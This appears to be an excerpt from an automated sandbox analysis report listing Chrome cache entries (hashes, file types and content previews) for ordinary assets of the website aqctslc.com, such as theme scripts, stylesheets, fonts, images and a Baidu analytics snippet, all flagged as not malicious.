SHA-256:	7672FED0CB6B72AAE4DE5C8190FFD917F85EEA26FEFA3579F378ACFA57448901
SHA-512:	A58FAAA21665D8DF83BE1211DBDED4B4610B04399ED4D95AB683488993CF22784CD703BEEAEC2C8584084CAEEA652FB4751A95C27A83E88263F25678F429F29A
Malicious:	false
Reputation:	low
Preview:	(function($){..."use strict";.....// Mean Menu...$('.mean-menu').meanmenu({....meanScreenWidth: "991"...});.....// Header Sticky...$(window).on('scroll',function() {....if ($(this).scrollTop() > 120){ .....$('.navbar-area').addClass("is-sticky");....}....else{.....$('.navbar-area').removeClass("is-sticky");....}...});.....// Partner Slides...$('.partner-slides').owlCarousel({....nav: false,....loop: true,....margin: 30,....dots: false,....autoplay: true,....autoplayHoverPause: true,....navText: [....."<i class='ri-arrow-left-s-line'></i>",....."<i class='ri-arrow-right-s-line'></i>"....],....responsive: {.....0: {......items: 2.....},.....576: {......items: 3.....},.....768: {......items: 4.....},.....992: {......items: 5.....}....}...});.....// Feedback Slides...$('.feedback-slides').owlCarousel({....items: 1,....nav: false,....loop: true,....margin: 30,....dots: true,....autoplay: false,....autoplayHoverPause: true,....navText: [....."<i class='ri-arrow-left-s-line'></i>",....."<i c

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3233), with CRLF line terminators
Category:	downloaded
Size (bytes):	3405
Entropy (8bit):	4.926832974207625
Encrypted:	false
SSDEEP:	48:3x4np88GL+IJWmQq+v+dDKopvu+ztL+F/+wI+weAzT+RV+VAPsAvqeghOHHy3Vzy:3QbgA6eA2+AbdEK7pcXVxZaI72CCNMM
MD5:	BD3B9D9DDB1A89D37254D906687B2D15
SHA1:	9E830777E1AF2C5EBACD77F5B33305D980BC21D0
SHA-256:	A3DA13CEB3B2E419F2E1FAC1D2A2AB973104417C49E0E1E6B12D8F684C865DEE
SHA-512:	58686310D2F9A4A8E6BB3A687E2AB13D21A5A7286EB3077D663FAF05FDA3A8BBE2050F669A95891BA80ADB776CC163D37AADFEF4C043A7D175CC6E222AD17F40
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/css/owl.carousel.min.css
Preview:	/*.. Owl Carousel v2.3.4.. * Copyright 2013-2018 David Deutsch.. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE.. */.. .owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-to

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 31, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1378
Entropy (8bit):	7.7971097825152045
Encrypted:	false
SSDEEP:	24:nLAjoi4s3pPSlArBcT6ciwrSAfP7QfopnT5hgvrRyEbRvBLgeC3Tv:nsO0frBcT63IcGnva9RhxoTv
MD5:	81AF3B12DBBF01A786E3225BA6629589
SHA1:	414D758263BC23088938A62D2E3746B3AE02D378
SHA-256:	8C33E8FFFC32B299CAFDBAA737A24B490F6070ADAC1589239C1FE2BC90F1480D
SHA-512:	C78E6BB28D3C8921CBFEF33283FD73C3E6FB35555E8B6E1D681D2CA48580A806D04C1097EC997CE58D5B45D758FB36D73FD09A87243B9B60F6EF3538A09E481E
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/master-card.png
Preview:	.PNG........IHDR...2............Y....sBIT....\|.d.....IDATXG.YlTU...s..;m..t.+-m.[6)..E#JP.`.HJ.."$>.$j\......... ...h .h1ZSR.A(M.V[...f.w9...b.2wdL...>.?.w...!.L1.c.m......(.P(.]....B...ed1\..m{...B.G(.%.?p@6.O.p..o...<....`..\'X6bL.Jj.9.>...!........"...}.?.cl.U....1F..R....U.Cdg!..1.....%.....r.T.@...~..Zj.06..D...?.a\|.....8PW.!P..G..Wi.......".iS.EK!..T.,(..H....-.u.".;....ov..............a.bP4O{..@.....A..{:@.@....hU..{..... ..6<.w.iY....{.'..A...H..d.n.(....u.T...z9.;.y.W.KW.azQ....t...P@.,Pr.\..#..9.}.L.r.w....`l..uB)V.).yn..N..a.;L.e.f...<.>?.%..9..}..W.a...v..0.......C..W....F......lG.R1...M.s../Z..w`....0..g..Y.Q...X.}M..fd.iw...g......LD`..B#v........?..I..s..4=......m.t.SgP.......}.'P2. 1..X#...d.Dh..G.Dd.(.A.M.`;....%.....K..7a.. ..<. .5+HZ..Ja.......QK....#Z...#.PR.Qrs.fN#.y.......N...nD....}z.J....(7..p.v....X.^F..l....,.....^.~.x........`w..z......e\!Fm..Y...P.r....--.._..D.... ...\...F.]..jD.Ldo#..X......1..Bp.*0.U-.

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 31052, version 1.0
Category:	downloaded
Size (bytes):	31052
Entropy (8bit):	7.994212302026679
Encrypted:	true
SSDEEP:	768:O0RiZKVUEuUY9yqDvkLAGxqwSUZZ+ntzoNQG:O0RvFuUY9qn4wSG+C
MD5:	5C4F357D4926FC197D43ABC63B7FCA8C
SHA1:	686AF7000D038D7479ED36B48A8EBB0EA9B98AEA
SHA-256:	1393ACC632C160DEF86B45C2521C8EE742B7E6239D0D90FB95F51D55CF48B9C3
SHA-512:	9F760F0C8C7FE583BBCB8270ABF62C826D33FA6DCEAF820533B64B56742284EC9B750066DAAF9E4D3C0305373D1DB8BD2AD47BBB88573610F0BE2A617E183DD6
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/nunitosans/v15/pe0TMImSLYBIv1o4X1M8ce2xCx3yop4tQpF_MeTm0lfGWVpNn64CL7U8upHZIbMV51Q42ptCp7t1R-s.woff2
Preview:	wOF2......yL.......@..x...........................u...v...?HVAR.$?MVARb.`?STAT.z'2..2/d.....0.}..N.0..>.6.$.... ...../...I.5l...[..0....q..=7v0..U..@......X..OI.?d,>...nK...I#.".J+...3..kF.s.....>U.s..C..W.U.C..%`e....Y.a..5.{.1...z.......)8....K...p0..Zh.r..J...). .. .......G...]..-^T.z3.....s_Df...Ru....k.+r%2.......[.%.F.Z..?.4....h......P.....%..j.....Y...1.4i.Z.5/.....<...Jw....h:....5.J-.K.&..rqo...SK...2>..0s.l........g........_e..m...D..'...~.q.w.)C,A...A.@....{....4J.#.k.c....G.?.n.=...E......W..]].e..(...[.~...EI.VX....<Hx2`[z...I..z}@)..............,rD.......2.......z.R..t.$;.$.'....<nV.\|....~&A.!...Q...+&...M]........W.0-.<........Ig.+..g..=.....".+..8.d.d..-...O...d<.W/.H$R.D"...\|.....L...).9{./...c(0....oj..xx.^^.nN..........R....c..-.....FK..\|...',.\|..T.N......2...i.,....s..t.*.Z......u..>.e..<....!s..~U....@.$.04..T.j.fL..wA.(6A.l......^."..BI$.....(l..M.l..D'_...f...HA.Qv.6~k.....y....V.#:....{.H:...+...t..d..X.Ty).p..m.../..

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (308), with no line terminators
Category:	dropped
Size (bytes):	308
Entropy (8bit):	5.417482737389702
Encrypted:	false
SSDEEP:	6:qQQfwvP/kGTMKxvasmzGIlCP70Jfium3cqOd1zlCiKzrJXqOXMMntwsvfn:cfwvP8GAksCP70Qum3+15CiKn91Ltbfn
MD5:	F9FC52AB67F035B8BAF5D558714CC94D
SHA1:	37062A6FB1EF410D496137D44275738AE743C747
SHA-256:	C31F2003F1C93AC1E34B09F376D97A65DA6E110BF451CF1E0E50A7946C5E7212
SHA-512:	EBB0415852FBB5B964094E2E55A28B90F701DFF1977C8B98C6F24D65D09067DC0C417D01492CA28A4BE6747816D7C0BFAC87B73A33725AEE047A5D2F7AB83182
Malicious:	false
Reputation:	low
Preview:	!function(){var e=/([http\|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=window.location.href,t=document.referrer;if(!e.test(r)){var o="https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif";t?(o+="?r="+encodeURIComponent(document.referrer),r&&(o+="&l="+r)):r&&(o+="?l="+r);var i=new Image;i.src=o}}(window);

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2381), with no line terminators
Category:	downloaded
Size (bytes):	2381
Entropy (8bit):	5.036128455245249
Encrypted:	false
SSDEEP:	48:d+MQEVjiEVLy3WyewILzTGO6KuDfMwtCY4DzG1kQWMQWBQWA19OQWA1d+ZiqSQWD:dNt2mfwILzqKuqWSDMDBDAaDA3Gi9DMC
MD5:	36D1B0E5A3A7397B267E704BEB2F7272
SHA1:	86DF23E41520D19DD0C6928E4A5DE89C1AE172A2
SHA-256:	2DCC9F6916671EE0EE4C5F7C7B6F13C519189B65D371A39309C0D95B79050C28
SHA-512:	E728F97A563DBBA72519EF7FF7B6E3DE3265C3CF8EF574AFFED6E67BC9BF2D1F1C2A79D3E7EAD1F2A1D6FD4610FCCA332E0DDCBD31DE608A4CE64464B404926E
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/js/ajaxchimp.min.js
Preview:	(function($){"use strict";$.ajaxChimp={responses:{"We have sent you a confirmation email":0,"Please enter a value":1,"An email address must contain a single @":2,"The domain portion of the email address is invalid (the portion after the @: )":3,"The username portion of the email address is invalid (the portion before the @: )":4,"This email address looks fake or invalid. Please enter a real email address":5},translations:{en:null},init:function(selector,options){$(selector).ajaxChimp(options)}};$.fn.ajaxChimp=function(options){$(this).each(function(i,elem){var form=$(elem);var email=form.find("input[type=email]");var label=form.find("label[for="+email.attr("id")+"]");var settings=$.extend({url:form.attr("action"),language:"en"},options);var url=settings.url.replace("/post?","/post-json?").concat("&c=?");form.attr("novalidate","true");email.attr("name","EMAIL");form.submit(function(){var msg;function successCallback(resp){if(resp.result==="success"){msg="We have sent you a confirmation

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	95066
Entropy (8bit):	7.721513261983331
Encrypted:	false
SSDEEP:	1536:OUHINo2urjwEXfxEN8cauBdKl5iFoueDJn6nJMmhMdkupY00pDEufhHJpYvWO5:OUH0HurjwEXfxO0oK/coue1n6nJM3XKq
MD5:	F85C68775140AA1877580E9F2239E950
SHA1:	1A7E331BD9324B3492A377C0C04C5017385199AF
SHA-256:	B9A4313BE463259F8DDCEACA00BF928DC3006CC1AE90BCC6042973D9D4C8458F
SHA-512:	4F62984BA3EE4AF3F2E9F149809D41B5045FED5BEBA86EC29FC1706F8810F60D55BB026AA60ADD6B0A8CC9C6228FCD28E8D1462AE56D274E08D1809230AF693A
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/bg1.jpg
Preview:	......Exif..II*.................Ducky.......F...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:D86E69AC598111EBB67384C515B2A7F9" xmpMM:DocumentID="xmp.did:D86E69AD598111EBB67384C515B2A7F9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D86E69AA598111EBB67384C515B2A7F9" stRef:documentID="xmp.did:D86E69AB598111EBB67384C515B2A7F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 62 x 66, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	4065
Entropy (8bit):	7.805781268119322
Encrypted:	false
SSDEEP:	96:9YR256tAqD/il2a8L2ZOvxZrvHaFnKu2lV1F68c:mVm2a8L26xJv6FnKVb77c
MD5:	5A48F3B3EB6C7D06BD33DE648FF97BF3
SHA1:	30E965598391FEC7E0ED104245586DBAD1A8CF9C
SHA-256:	74178CC2E49A3302284BFFC8CE53378F8A189A1DAFAECE2F131E052B6981BA77
SHA-512:	74DF26DAA9919D7104E59C7D1413626083C000BCF17D3D3FBD827609C90CA713F2E63385E7F9591E2AB841AE71C16B8F053FE65DDAE6DB34B8F052075D4BB966
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...>...B.....x&Uh....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:59D5485F5A1F11EBAC8D8D38E16AC580" xmpMM:DocumentID="xmp.did:59D548605A1F11EBAC8D8D38E16AC580"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:59D5485D5A1F11EBAC8D8D38E16AC580" stRef:documentID="xmp.did:59D5485E5A1F11EBAC8D8D38E16AC580"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>r0.*...QIDATx.b`.........&d.3......D888.cUill..ckii..h///;&.$..g.yxx8...... ...W......@.._........;w.\|.6...U....

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality", baseline, precision 8, 320x180, components 3
Category:	dropped
Size (bytes):	13645
Entropy (8bit):	7.961142749872464
Encrypted:	false
SSDEEP:	384:GE2h7+Z4XIQikeX7VuTcyjjaIIKERdrRH6:GE2d+Z4XIHR8kKCd8
MD5:	87FBA007100039D9299EBBFB126B8E64
SHA1:	E3D6A3AAD36948AA9D0C44A72AF62051505E5F86
SHA-256:	D540ED2820D4C7E2EAC3FF2B3525B486598BB5157CD245570DC4031485F52924
SHA-512:	1A6C729E1C6E4C72829F3EB8CC78740AF7638B0827598A51F55FD8F9A2855F5A3DECC033A43B22E069030FF77555CBA0334D7006B39E0985350AFA3787FC6613
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........@.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....4a..hyT..!.0..o....JC.;S.0.z.p.8.......@.d9.iv6:..6.v..b.36.....kH..M..f...'...J.u.w1.7....X..{H.b....\.\>..;.....I..?.)=..G.....>.v..S..Q^.k..hcX..-.L.v.....>..m.....A._...7J.v....d[.$e\|...3c....r...*....)...#....cVe.w..w..~..)...B....]...J.v.\|7u.z..$2..H......[F.n.r....\|#z...a...e}....X.,n...C..h"

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	95066
Entropy (8bit):	7.721513261983331
Encrypted:	false
SSDEEP:	1536:OUHINo2urjwEXfxEN8cauBdKl5iFoueDJn6nJMmhMdkupY00pDEufhHJpYvWO5:OUH0HurjwEXfxO0oK/coue1n6nJM3XKq
MD5:	F85C68775140AA1877580E9F2239E950
SHA1:	1A7E331BD9324B3492A377C0C04C5017385199AF
SHA-256:	B9A4313BE463259F8DDCEACA00BF928DC3006CC1AE90BCC6042973D9D4C8458F
SHA-512:	4F62984BA3EE4AF3F2E9F149809D41B5045FED5BEBA86EC29FC1706F8810F60D55BB026AA60ADD6B0A8CC9C6228FCD28E8D1462AE56D274E08D1809230AF693A
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......F...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:D86E69AC598111EBB67384C515B2A7F9" xmpMM:DocumentID="xmp.did:D86E69AD598111EBB67384C515B2A7F9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D86E69AA598111EBB67384C515B2A7F9" stRef:documentID="xmp.did:D86E69AB598111EBB67384C515B2A7F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 88, 8-bit/color RGBA, interlaced
Category:	downloaded
Size (bytes):	12290
Entropy (8bit):	7.964942628945971
Encrypted:	false
SSDEEP:	192:gArP3SiponOxK3DiToinKVHK81NaiTwlfv0vWjyj2s/d+ZvSNo/kBoy:13yeK3DiEin66iTwlfv0qAf0nk
MD5:	E467DB9BBB62689D98379D71070ACBD1
SHA1:	E1B41384D561D07F779B55E96751D73AAC7D8D18
SHA-256:	0B555B921C7E5669BB2DBDB68D5ACAEF904F96A943FB1168D9D5FC1B506E5080
SHA-512:	4DD63080059816BBD1A991BACC763D93CD95E627628AEA684B25FE2DF5C6E664C3A63CB9761360F43DDA22EC02CCD53CF0E50632F9FA12A475F3148A66B3FCCF
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/services-icon6.png
Preview:	.PNG........IHDR...d...X.....t]b.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:8E5D35AF596511EBA9F9954840A4DF7B" xmpMM:DocumentID="xmp.did:8E5D35B0596511EBA9F9954840A4DF7B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8E5D35AD596511EBA9F9954840A4DF7B" stRef:documentID="xmp.did:8E5D35AE596511EBA9F9954840A4DF7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..Y`..,rIDATx.Q.J.A.}..l8....6w.S(.\|@JK....$..6"..Q..Ij[K....*..!V.A..j..{xGN+...a......5#....#..D...$I.@...z

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 88, 8-bit/color RGBA, interlaced
Category:	downloaded
Size (bytes):	15090
Entropy (8bit):	7.973721353453092
Encrypted:	false
SSDEEP:	384:Poxa6dRcFKHFTxNY+xsIr2FAp6y6Jw5UQUEkuXrx97:1iK+xsIr2o6DwqQUz4rx97
MD5:	16775F95360704B0C3DAA958E7583000
SHA1:	0210FCABEC79C71DCA1584103B5BCEB2CA97CAF5
SHA-256:	A0DE57DE0D34348A8839E74E9964C57D677A9EEC3FC43B6F31801AE10613C397
SHA-512:	385B6A6F3227B695EFCCCA460EA320E01BA593BC53352A63ACD678F7CDB9E9009B0EF883BB7AD50A40D911EEEACFB830821388544BA7C6244C5FED5FD928560E
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/services-icon4.png
Preview:	.PNG........IHDR...d...X.....t]b.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:6DFF11BC596511EB877AEFE65FCC703A" xmpMM:DocumentID="xmp.did:6DFF11BD596511EB877AEFE65FCC703A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6DFF11BA596511EB877AEFE65FCC703A" stRef:documentID="xmp.did:6DFF11BB596511EB877AEFE65FCC703A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>M"....7bIDATx.b...?......eee.X^^.a.g.y...........EEE.....jqj:../.+++.;w..[...(++c.......WwI....3...x...0...2...a:

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65342), with CRLF line terminators
Category:	downloaded
Size (bytes):	71756
Entropy (8bit):	5.119955657637811
Encrypted:	false
SSDEEP:	1536:X6uNQ3fdPwwanleMf72yMPkZ8PFwh1nAukdDO3Xyr5Ir5eh0dTo:ykZgwh1nAukdDO3Xyr5Ir5eh0dTo
MD5:	B3D5B75898F1ED885C7D2B538FAA8B81
SHA1:	BC96496831F4DF311443B8E3D76CFC17DB53A988
SHA-256:	A61E123314188BD0453320008E01B4BBB665BEE09039F4CBD9BEF44DE410CE67
SHA-512:	BE097927CB6F3C12EE4140A60F11DD56BCB1E8661B35848F25F1AE2417B65190924D73D2D01C04C6763FC2C50D3931CDDBC2AA74CD945F84145D3F3FE451F433
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/css/animate.min.css
Preview:	@charset "UTF-8";/!.. animate.css - https://animate.style/.. * Version - 4.1.1.. * Licensed under the MIT license - http://opensource.org/licenses/MIT.. .. Copyright (c) 2020 Animate.css.. /:root{--animate-duration:1s;--animate-delay:1s;--animate-repeat:1}.animate__animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-duration:var(--animate-duration);animation-duration:var(--animate-duration);-webkit-animation-fill-mode:both;animation-fill-mode:both}.animate__animated.animate__infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.animate__animated.animate__repeat-1{-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-animation-iteration-count:var(--animate-repeat);animation-iteration-count:var(--animate-repeat)}.animate__animated.animate__repeat-2{-webkit-animation-iteration-count:2;animation-iteration-count:2;-webkit-animation-iteration-count:calc(var(--animate-repeat)2);animation-iteration-count:cal

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	110573
Entropy (8bit):	4.694804178967265
Encrypted:	false
SSDEEP:	1536:jEcvr8vn4cYzgKvP1IqRCwNd1l3JclUaqM1:jZ8v4cYcKZ7clh
MD5:	3B87B15383966C7F61F75CF60D067042
SHA1:	BD62BC28A5AEE4E0BD8FA6EFCDE7A1954ED77849
SHA-256:	0F3D64B84526B515DC7E8F38EEC671C7AB3843DFC58631685DFC42DEE95CB64D
SHA-512:	4F65D5D7BAE1213259F405D09545AFC8E60DAC8448CF153A72E6EE6CFCD55780F4D5E6AB01C96ABE2428C76167F754376DE205D56156B2F851739B6173961BB6
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/css/remixicon.css
Preview:	/. Remix Icon v2.5.0.* https://remixicon.com.* https://github.com/Remix-Design/RemixIcon.. Copyright RemixIcon.com.* Released under the Apache License Version 2.0.. Date: 2020-05-23./.@font-face {. font-family: "remixicon";. src: url('../fonts/remixicon%EF%B9%96t=1590207869815.eot'); / IE9/. src: url('../fonts/remixicon%EF%B9%96t=1590207869815.eot#iefix') format('embedded-opentype'), / IE6-IE8 /. url("../fonts/remixicon%EF%B9%96t=1590207869815.woff2") format("woff2"),. url("../fonts/remixicon%EF%B9%96t=1590207869815.woff") format("woff"),. url('../fonts/remixicon%EF%B9%96t=1590207869815.ttf') format('truetype'), / chrome, firefox, opera, Safari, Android, iOS 4.2+/. url('https://templates.mhrtheme.com/yango/assets/fonts/remixicon.svg?t=1590207869815#remixicon') format('svg'); / iOS 4.1- /. font-display: swap;.}..[class^="ri-"], [class=" ri-"] {. font-family: 'remixicon' !important;. font-style: normal;. -webkit-font-smoothing: antialiased;. -moz-osx-font-smoo

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 31, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.779241102847817
Encrypted:	false
SSDEEP:	24:nwE2Lmf5678O9DsMYWiF4kkKpUPesVZsVjEUCEFzTc7:nwucuJWVhKpUGj4UZ07
MD5:	F3CE07AC2790DFCDB4961DBA2A4FF07A
SHA1:	186306B6F95E9E1E854B76E38BE1C92A5B533CB0
SHA-256:	888EF1617C11B2B05ABD3BD2D6F45CA57545E811C820120850D5C3911DA56833
SHA-512:	D924F938829C4C6FDD6CF70D1BD3720704BD2A036BD91F83B8ABCCA11F8227C356B526A1F62974FAF32BC3FB212640441EB0AF63B098E0EA3D2371BA9C7C9416
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2............Y....sBIT....\|.d.....IDATXG..L.u.._...........D~49w..j.I....p.?....._...k.V.....G..5u.%j.hf.fJ,...b...9....iw.....o..}........>...y.....$H..N..B@ ....hzEQ<%..... ..4..p/[Y..(....a.1...?.^...A>..<d.F.y..!.HD..U ..e..O...i..u7.E.EQ...@..T.U.....N.v.\|GG.x.i;O.r.G.......7....C..Jn.._{..w...b.K.%J..MU...H....d.r.o.....V.kV.78...d..)8.S.....'.....B..?b4..q.....+.%9.8..h(..B.)....?...'... +5...Ly$fW4PY..-....Gs2)...;8..#....f.\..F.m....y.../Q.....t..y...F'D\|.L..c.$.P[a....vT-aY.l5..6.......W? /;.ts".qFK.....9.....C.N.....G_..z../w.........~E~.9.6..8..,.8....~.u..A..l3.o..........Cg...w..e.E...8Z._..r.ol..c.0..%..k.....<.o[GK.M:...}v!.S,.QzN\.I.......k.r-... y}4.V.A......\..........i>.5.....jbl...K..\|))+w......Y.(.M...........=^..........p.=l(/....Z8..kJ....o.I....@..p/....12NjR<^./P.?.rRP.:........kp~....p...$......[..1.1.R#8..%.......d_.s.f..t.u._v..Q.mJ.".2F......>U.=x..ACa...EUg.3..L.....EBQ...(.yi..

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 62 x 66, 8-bit/color RGBA, interlaced
Category:	downloaded
Size (bytes):	4065
Entropy (8bit):	7.805781268119322
Encrypted:	false
SSDEEP:	96:9YR256tAqD/il2a8L2ZOvxZrvHaFnKu2lV1F68c:mVm2a8L26xJv6FnKVb77c
MD5:	5A48F3B3EB6C7D06BD33DE648FF97BF3
SHA1:	30E965598391FEC7E0ED104245586DBAD1A8CF9C
SHA-256:	74178CC2E49A3302284BFFC8CE53378F8A189A1DAFAECE2F131E052B6981BA77
